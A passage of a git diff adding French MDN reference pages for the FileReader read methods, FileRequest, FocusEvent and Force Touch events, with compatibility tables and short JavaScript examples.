+ <dd>Cette méthode démarre la lecture du contenu pour le blob indiqué. Une fois que la lecture est terminée, l'attribut <code>result</code> contient les données binaires brutes sous la forme d'une chaîne de caractères.</dd>
+ <dt>{{domxref("FileReader.readAsDataURL()")}}</dt>
+ <dd>Cette méthode démarre la lecture du contenu pour le blob indiqué. Une fois que la lecture est terminée, l'attribut <code>result</code> contient une URL de données qui représente les données du fichier.</dd>
+ <dt>{{domxref("FileReader.readAsText()")}}</dt>
+ <dd>Cette méthode démarre la lecture du contenu pour le blob indiqué. Une fois la lecture terminée, l'attribut <code>result</code> contient les données du fichier sous la forme d'une chaîne de caractères.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("File API", "#dfn-filereader", "FileReader")}}</td>
+   <td>{{Spec2("File API")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}<sup>[1]</sup></td>
+   <td>7</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10<sup>[2]</sup></td>
+   <td>12.02<sup>[3]</sup></td>
+   <td>6.0</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatGeckoDesktop(46)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>32</td>
+   <td>3</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+   <td>11.5</td>
+   <td>6.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatGeckoDesktop(46)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Avant Gecko 2.0 beta 7 (Firefox 4.0 beta 7), tous les paramètres {{domxref("Blob")}} étaient considérés comme des paramètres {{domxref("File")}}. Cela a été mis à jour afin de correspondre à la spécification. Avant Gecko 13.0 {{geckoRelease("13.0")}}, la propriété <code>FileReader.error</code> était un objet {{domxref("FileError")}}. Cette interface a été supprimée et <code>FileReader.error</code> correspond désormais à un objet {{domxref("DOMError")}} tel que défini dans le dernier brouillon de spécification de l'API <code>FileAPI</code>.</p>
+
+<p>[2] IE9 dispose d'un <a href="https://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">Lab File API</a>.</p>
+
+<p>[3] Opera <a href="https://www.opera.com/docs/specs/presto28/file/">implémente partiellement cette fonctionnalité</a> dans la version 11.1.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Using_files_from_web_applications">Manipuler des fichiers depuis des applications web</a></li>
+ <li>{{domxref("File")}}</li>
+ <li>{{domxref("Blob")}}</li>
+</ul>
diff --git a/files/fr/web/api/filereader/readasarraybuffer/index.html b/files/fr/web/api/filereader/readasarraybuffer/index.html
new file mode 100644
index 0000000000..6746cc3594
--- /dev/null
+++ b/files/fr/web/api/filereader/readasarraybuffer/index.html
@@ -0,0 +1,58 @@
+---
+title: FileReader.readAsArrayBuffer()
+slug: Web/API/FileReader/readAsArrayBuffer
+tags:
+  - API
+  - DOM
+  - Fichier
+  - Méthodes
+translation_of: Web/API/FileReader/readAsArrayBuffer
+---
+<p>{{APIRef("File API")}}</p>
+
+<p>La méthode <strong><code>readAsArrayBuffer()</code></strong> de l'interface {{domxref("FileReader")}} permet de lire un {{domxref("Blob")}} ou un {{domxref("File")}} (<em>fichier</em>). Quand l'opération est finie, l'attribut {{domxref("FileReader.readyState","readyState")}} prend la valeur <code>"DONE"</code> (<em>terminé</em>) à savoir <code>2</code>, et l'événement {{event("loadend")}} est levé. L'attribut {{domxref("FileReader.result","résultat")}} contient alors les données lues sous la forme d'un objet {{domxref("ArrayBuffer")}}.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nouvelle API disponible</strong><br>
+ La méthode {{domxref("Blob.arrayBuffer()")}} est une nouvelle API basée sur les promesses permettant de lire un fichier.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>instanceOfFileReader</em>.readAsArrayBuffer(<em>blob</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>blob</code></dt>
+ <dd>Le {{domxref("Blob")}} ou le {{domxref("File")}} (<em>fichier</em>) devant être lu.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("File API", "#readAsArrayBuffer", "FileReader.readAsArrayBuffer")}}</td>
+   <td>{{Spec2("File API")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.FileReader.readAsArrayBuffer")}}.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/fr/web/api/filereader/readasbinarystring/index.html b/files/fr/web/api/filereader/readasbinarystring/index.html
new file mode 100644
index 0000000000..0cd282ac6b
--- /dev/null
+++ b/files/fr/web/api/filereader/readasbinarystring/index.html
@@ -0,0 +1,82 @@
+---
+title: FileReader.readAsBinaryString()
+slug: Web/API/FileReader/readAsBinaryString
+translation_of: Web/API/FileReader/readAsBinaryString
+---
+<div>{{APIRef("File API")}}</div>
+
+<p>La méthode <code>readAsArrayBuffer()</code> de l'interface {{domxref("FileReader")}} permet de lire un {{domxref("Blob")}} ou un {{domxref("File")}} (<em>fichier</em>). Quand l'opération est finie, l'attribut {{domxref("FileReader.readyState","readyState")}} prend la valeur <code>"DONE"</code> (<em>terminé</em>), et l'événement {{event("loadend")}} est levé.</p>
+
+<p>L'attribut {{domxref("FileReader.result","result")}} contient alors les données binaires brutes lues.</p>
+
+<p>Notez que cette méthode fût enlevée de l'API, mais réintroduite pour des raison de compatibilité ascendante.</p>
+
+<p>L'utilisation de {{domxref("FileReader.readAsArrayBuffer()")}} est recomandée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>instanceOfFileReader</em>.readAsBinaryString(blob);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>blob</code></dt>
+ <dd>Le {{domxref("Blob")}} or {{domxref("File")}} devant être lu.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var canvas = document.createElement('canvas');
+var height = 200;
+var width  = 200;
+
+canvas.width  = width;
+canvas.height = height;
+
+var ctx = canvas.getContext('2d');
+
+ctx.strokeStyle = '#090';
+ctx.beginPath();
+ctx.arc(width/2, height/2, width/2 - width/10, 0, Math.PI*2);
+ctx.stroke();
+
+canvas.toBlob(function (blob) {
+  var reader = new FileReader();
+
+  reader.onload = function () {
+    console.log(reader.result);
+  }
+
+  reader.readAsBinaryString(blob);
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="spectable standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('File API','#readAsBinaryString','readAsBinaryString')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.FileReader.readAsBinaryString")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/fr/web/api/filereader/readasdataurl/index.html b/files/fr/web/api/filereader/readasdataurl/index.html
new file mode 100644
index 0000000000..6da9a22250
--- /dev/null
+++ b/files/fr/web/api/filereader/readasdataurl/index.html
@@ -0,0 +1,179 @@
+---
+title: FileReader.readAsDataURL()
+slug: Web/API/FileReader/readAsDataURL
+tags:
+  - API
+  - API File
+  - Fichiers
+  - Méthode
+  - Reference
+translation_of: Web/API/FileReader/readAsDataURL
+---
+<div>{{APIRef("API File")}}</div>
+
+<p>La méthode <code>readAsDataURL</code> permet de lire le contenu de l’objet  {{domxref("Blob")}} ou {{domxref("File")}} spécifié. À la fin de l’opération de lecture, la propriété {{domxref("FileReader.readyState","readyState")}} renvoie l’état <code>DONE</code>, et l’évènement {{event("loadend")}} se déclenche. À ce moment-là, l’attribut {{domxref("FileReader.result","result")}} contient les données dans une URL représentant les données du fichier sous forme de chaîne encodée en base64.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>instanceOfFileReader</em>.readAsDataURL(blob);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>blob</code></dt>
+ <dd>L’argument {{domxref("Blob")}} ou {{domxref("File")}} à partir duquel exécuter la lecture.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="file" onchange="previewFile()"&gt;&lt;br&gt;
+&lt;img src="" height="200" alt="Aperçu de l’image..."&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function previewFile() {
+  var preview = document.querySelector('img');
+  var file    = document.querySelector('input[type=file]').files[0];
+  var reader  = new FileReader();
+
+  reader.addEventListener("load", function () {
+    preview.src = reader.result;
+  }, false);
+
+  if (file) {
+    reader.readAsDataURL(file);
+  }
+}</pre>
+
+<h3 id="Résultat_en_direct">Résultat en direct</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 240)}}</p>
+
+<p> </p>
+
+<h2 id="Exemple_de_lecture_de_plusieurs_fichiers">Exemple de lecture de plusieurs fichiers</h2>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html">&lt;input id="browse" type="file" onchange="previewFiles()" multiple&gt;
+&lt;div id="preview"&gt;&lt;/div&gt;</pre>
+
+<h3 id="JavaScript_2">JavaScript</h3>
+
+<pre class="brush: js">function previewFiles() {
+
+  var preview = document.querySelector('#preview');
+  var files   = document.querySelector('input[type=file]').files;
+
+  function readAndPreview(file) {
+
+    // Veillez à ce que `file.name` corresponde à nos critères d’extension
+    if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) {
+      var reader = new FileReader();
+
+      reader.addEventListener("load", function () {
+        var image = new Image();
+        image.height = 100;
+        image.title = file.name;
+        image.src = this.result;
+        preview.appendChild( image );
+      }, false);
+
+      reader.readAsDataURL(file);
+    }
+
+  }
+
+  if (files) {
+    [].forEach.call(files, readAndPreview);
+  }
+
+}
+</pre>
+
+<div class="note"><strong>Remarque :</strong> le constructeur <a href="/en-US/docs/Web/API/FileReader"><code>FileReader()</code></a> n’est pas pris en charge dans les versions IE antérieures à Internet Explorer 10. Pour un code compatible avec tous les navigateurs, accédez à notre <a class="internal" href="https://mdn.mozillademos.org/files/3699/crossbrowser_image_preview.html" title="crossbrowser_image_preview.html">solution d’aperçu d’image multinavigateur</a>. Examinez également cette <a href="https://mdn.mozillademos.org/files/3698/image_upload_preview.html">alternative plus puissante</a>.</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("API File", "#FileReader-interface", "FileReader")}}</td>
+   <td>{{Spec2("API File")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}<sup>[1]</sup></td>
+   <td>7</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10<sup>[2]</sup></td>
+   <td>12.02<sup>[3]</sup></td>
+   <td>6.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>32</td>
+   <td>3</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+   <td>11.5</td>
+   <td>6.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Avant la version Gecko 2.0 beta 7 (Firefox 4.0 beta 7), tous les paramètres {{domxref("Blob")}} ci-dessous étaient des paramètres {{domxref("File")}}. Depuis, une mise à jour a été effectuée pour la prise en charge correcte de cette spécification. Avant la version Gecko 13.0 {{geckoRelease("13.0")}} la propriété <code>FileReader.error</code> renvoyait un objet {{domxref("FileError")}}. Cette interface a été supprimée et le paramètre <code>FileReader.error</code> renvoie désormais l’objet {{domxref("DOMError")}} tel que défini dans la version API File la plus récente.</p>
+
+<p>[2] IE9 intègre un <a href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</p>
+
+<p>[3] Opera inclut un <a href="http://www.opera.com/docs/specs/presto28/file/">support partiel</a> dans la version 11.1.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/fr/web/api/filereader/readastext/index.html b/files/fr/web/api/filereader/readastext/index.html
new file mode 100644
index 0000000000..bbf8372844
--- /dev/null
+++ b/files/fr/web/api/filereader/readastext/index.html
@@ -0,0 +1,118 @@
+---
+title: FileReader.readAsText()
+slug: Web/API/FileReader/readAsText
+tags:
+  - API
+  - File API
+  - Files
+  - Method
+  - Reference
+translation_of: Web/API/FileReader/readAsText
+---
+<div>{{APIRef("File API")}}</div>
+
+<p>La méthode <code>readAsText</code> est utilisée pour lire le contenu du {{domxref("Blob")}} ou {{domxref("File")}} spécifié en paramètre. Lorsque la lecture est terminée, l'état {{domxref("FileReader.readyState","readyState")}} passe à <code>DONE</code>, l'événement {{event("loadend")}} est lancé, et l'attribut {{domxref("FileReader.result","result")}} contient le contenu du fichier sous forme de chaîne de caractères.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>instanceOfFileReader</em>.readAsText(blob[, encoding]);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>blob</code></dt>
+ <dd>Le {{domxref("Blob")}} ou {{domxref("File")}} qui doit être lu.</dd>
+ <dt>encoding {{optional_inline}}</dt>
+ <dd>Une chaîne de caractères spécifiant l'encodage utilisé dans les données de retour. Par défaut, UTF-8 est utilisé lorsque le paramètre n'est pas spécifié.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var selectedFile = document.getElementById('input').files[0];
+var content = document.getElementById('content');
+var reader = new FileReader();
+reader.onload = function(event) { content.innerHTML = reader.result; };
+reader.readAsText(selectedFile);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("File API", "#FileReader-interface", "FileReader")}}</td>
+   <td>{{Spec2("File API")}}</td>
+   <td>Définition initale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}<sup>[1]</sup></td>
+   <td>7</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10<sup>[2]</sup></td>
+   <td>12.02<sup>[3]</sup></td>
+   <td>6.0.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>32</td>
+   <td>3</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+   <td>11.5</td>
+   <td>6.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Avant Gecko 2.0 beta 7 (Firefox 4.0 beta 7), tous les paramètres {{domxref("Blob")}} ci-dessous étaient des paramètres {{domxref("File")}} ; ceci a depuis été mis à jour pour être conforme à la spécification. Avant Gecko 13.0 {{geckoRelease("13.0")}}, la propriété <code>FileReader.error</code> renvoyait un objet {{domxref("FileError")}}. Cette interface a été supprimée et <code>FileReader.error</code> renvoie maintenant l'objet {{domxref("DOMError")}} tel que défini dans le dernier brouillon FileAPI.</p>
+
+<p>[2] IE9 intègre un <a href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</p>
+
+<p>[3] Opera inclut un <a href="http://www.opera.com/docs/specs/presto28/file/">support partiel</a> dans la version 11.1.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/fr/web/api/filerequest/index.html b/files/fr/web/api/filerequest/index.html
new file mode 100644
index 0000000000..b735675817
--- /dev/null
+++ b/files/fr/web/api/filerequest/index.html
@@ -0,0 +1,54 @@
+---
+title: FileRequest
+slug: Web/API/FileRequest
+tags:
+  - API
+  - DOM
+  - Fichier
+  - Interface
+translation_of: Web/API/FileRequest
+---
+<p>{{APIRef("File System API")}} {{non-standard_header}}</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>L'interface <code>FileRequest</code> étend l'interface {{domxref("DOMRequest")}} pour fournir des propriétés supplémentaires nécessaires aux objets {{domxref("LockedFile")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("FileRequest.lockedFile")}} {{readonlyinline}}</dt>
+ <dd>L'objet {{domxref("LockedFile")}} à partir duquel la demande a été lancée.</dd>
+ <dt>{{domxref("FileRequest.onprogress")}}</dt>
+ <dd>Un gestionnaire de rappel appelé à plusieurs reprises alors que l'opération représentée par la <code>FileRequest</code> est en cours.</dd>
+</dl>
+
+<p>L'interface <code>FileRequest</code> hérite également de l'interface {{domxref("DOMRequest")}}.</p>
+
+<h2 id="Method_overview" name="Method_overview">Méthodes</h2>
+
+<p>Aucune.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('FileSystem')}}</td>
+   <td>{{Spec2('FileSystem')}}</td>
+   <td>Brouillon proposé.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("FileHandle")}}</li>
+ <li>{{domxref("LockedFile")}}</li>
+</ul>
diff --git a/files/fr/web/api/filerequest/lockedfile/index.html b/files/fr/web/api/filerequest/lockedfile/index.html
new file mode 100644
index 0000000000..18a3138b9c
--- /dev/null
+++ b/files/fr/web/api/filerequest/lockedfile/index.html
@@ -0,0 +1,48 @@
+---
+title: FileRequest.lockedFile
+slug: Web/API/FileRequest/lockedFile
+tags:
+  - API
+  - DOM
+  - Fichier
+  - Propriétés
+translation_of: Web/API/FileRequest/lockedFile
+---
+<p>{{APIRef("File System API")}} {{non-standard_header}}</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>La propriété <code>lockedFile</code> représente l'objet {{domxref("LockedFile")}} à partir duquel la requête a été lancée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var lockedFile = <em>instanceOfFileRequest</em>.lockedFile
+</pre>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Un objet {{domxref("LockedFile")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('FileSystem')}}</td>
+   <td>{{Spec2('FileSystem')}}</td>
+   <td>Brouillon proposé.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("FileRequest")}}</li>
+ <li>{{domxref("LockedFile")}}</li>
+</ul>
diff --git a/files/fr/web/api/filerequest/onprogress/index.html b/files/fr/web/api/filerequest/onprogress/index.html
new file mode 100644
index 0000000000..6677356045
--- /dev/null
+++ b/files/fr/web/api/filerequest/onprogress/index.html
@@ -0,0 +1,54 @@
+---
+title: FileRequest.onprogress
+slug: Web/API/FileRequest/onprogress
+tags:
+  - API
+  - DOM
+  - Fichier
+  - Propriétés
+translation_of: Web/API/FileRequest/onprogress
+---
+<p>{{APIRef("File System API")}} {{non-standard_header}}</p>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p>Cette propriété spécifie une fonction de rappel devant être exécutée de façon répétée pendant que l'opération représentée par un objet  {{ domxref("FileRequest") }} est en cours.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval"><em>instanceOfFileRequest</em>.onprogress = <em>function</em>;
+</pre>
+
+<p>Où <code><em>instanceOfFileRequest</em></code> est un objet {{ domxref("FileRequest") }} et <code><em>function</em></code> est la fonction JavaScript à exécuter.</p>
+
+<p>Chaque fois que la fonction callback est appelée, elle obtient un objet en tant que premier paramètre. Ces objets contiennent deux propriétés :</p>
+
+<dl>
+ <dt><code>loaded</code></dt>
+ <dd>Un nombre représentant la quantité actuelle d'octets traités par l'opération.</dd>
+ <dt><code>total</code></dt>
+ <dd>Un nombre représentant le nombre total d'octets qui seront traités par l'opération.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">// Supposons 'request' qui est un objet FileRequest
+
+request.onprogress = function (status) {
+  var progress = document.querySelector('progress');
+
+  progress.value = status.loaded;
+  progress.max   = status.total;
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("DOMRequest") }}</li>
+ <li>{{ domxref("LockedFile") }}</li>
+</ul>
diff --git a/files/fr/web/api/focusevent/index.html b/files/fr/web/api/focusevent/index.html
new file mode 100644
index 0000000000..b3ca995846
--- /dev/null
+++ b/files/fr/web/api/focusevent/index.html
@@ -0,0 +1,63 @@
+---
+title: FocusEvent
+slug: Web/API/FocusEvent
+tags:
+  - API
+  - DOM
+  - Evènement
+  - Focus
+  - Interface
+translation_of: Web/API/FocusEvent
+---
+<p>{{APIRef("DOM Events")}}{{SeeCompatTable}}</p>
+
+<p>L'interface <strong><code>FocusEvent</code> </strong>représente les événements liés au focus tels que<code> </code>{{event("focus")}}, {{event("blur")}}, {{event("focusin")}} ou {{event("focusout")}}.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("FocusEvent.FocusEvent", "FocusEvent()")}}</dt>
+ <dd>crée un événement <strong>FocusEvent </strong>avec les paramètres donnés<strong>.</strong></dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hértite des propriétés de son parent domxref("UIEvent")}} et indirectement de {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("FocusEvent.relatedTarget")}} {{readonlyInline}}</dt>
+ <dd>est un {{domxref("EventTarget")}} représentant une cible secondaire pour cet événement. Car dans certain cas (comme quand vous tabulez dans ou hors de la page), cette propriété peut être définie comme étant nulle pour des raisons de sécurité.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Aucune méthode spécifique ; Hérite des propriétés de son parent<em> {{domxref("UIEvent")}} </em>et indirectement de {{domxref("Event")}}</em>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#interface-FocusEvent', 'FocusEvent')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Première définition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.FocusEvent")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface de base {{domxref("Event")}}</li>
+</ul>
diff --git a/files/fr/web/api/force_touch_events/index.html b/files/fr/web/api/force_touch_events/index.html
new file mode 100644
index 0000000000..ac64c8bb46
--- /dev/null
+++ b/files/fr/web/api/force_touch_events/index.html
@@ -0,0 +1,52 @@
+---
+title: Force Touch events
+slug: Web/API/Force_Touch_events
+tags:
+  - API
+  - DOM
+  - Evènement
+  - Mobile
+translation_of: Web/API/Force_Touch_events
+---
+<p>{{DefaultAPISidebar("Force Touch events")}}</p>
+
+<p>{{Non-standard_header()}}</p>
+
+<p><strong>Force Touch events</strong> est une fonctionnalité propriétaire propre à Apple et qui rend possibles (si supporté par le matériel d'entrée) de nouvelles interactions basées sur le fait que l'utilisateur clique ou appuie sur l'écran tactile ou sur le trackpad.</p>
+
+<h2 id="Évènements">Évènements</h2>
+
+<dl>
+ <dt>{{event("webkitmouseforcewillbegin")}} {{non-standard_inline}}</dt>
+ <dd>Cet évènement est lancé avant l'évènement {{event("mousedown")}}. Son utilisation principale est de permettre {{domxref("Event.preventDefault()")}}.</dd>
+ <dt>{{event("webkitmouseforcedown")}} {{non-standard_inline}}</dt>
+ <dd>Cet évènement est lancé après l'évènement {{event("mousedown")}} dès qu'une pression suffisante a été appliquée pour qu'il puisse être qualifié de "clic de force".</dd>
+ <dt>{{event("webkitmouseforceup")}} {{non-standard_inline}}</dt>
+ <dd>Cet évènement est lancé après l'évènement {{event("webkitmouseforcedown")}} dès que la pression a été suffisamment réduite pour terminer le "clic de force".</dd>
+ <dt>{{event("webkitmouseforcechanged")}} {{non-standard_inline}}</dt>
+ <dd>Cet évènement est lancé chaque fois que la quantité de pression change. <span id="result_box" lang="fr"><span>Il se déclenche d'abord après l'événement {{event ("mousedown")}} et s'arrête avant l'événement {{event ("mouseup")}}.</span></span></dd>
+</dl>
+
+<h2 id="Propriété_des_évènements">Propriété des évènements</h2>
+
+<p>La propriété suivante est connue pour être disponible sur les objets évènement {{event("webkitmouseforcewillbegin")}}, {{event("mousedown")}}, {{event("webkitmouseforcechanged")}}, {{event("webkitmouseforcedown")}}, {{event("webkitmouseforceup")}}, {{event("mousemove")}} et {{event("mouseup")}}:</p>
+
+<dl>
+ <dt>{{domxref("MouseEvent.webkitForce")}} {{non-standard_inline()}} {{readonlyinline}}</dt>
+ <dd>La quantité de pression actuellement appliquée sur le trackpad / écran tactile.</dd>
+</dl>
+
+<h2 id="Constantes">Constantes</h2>
+
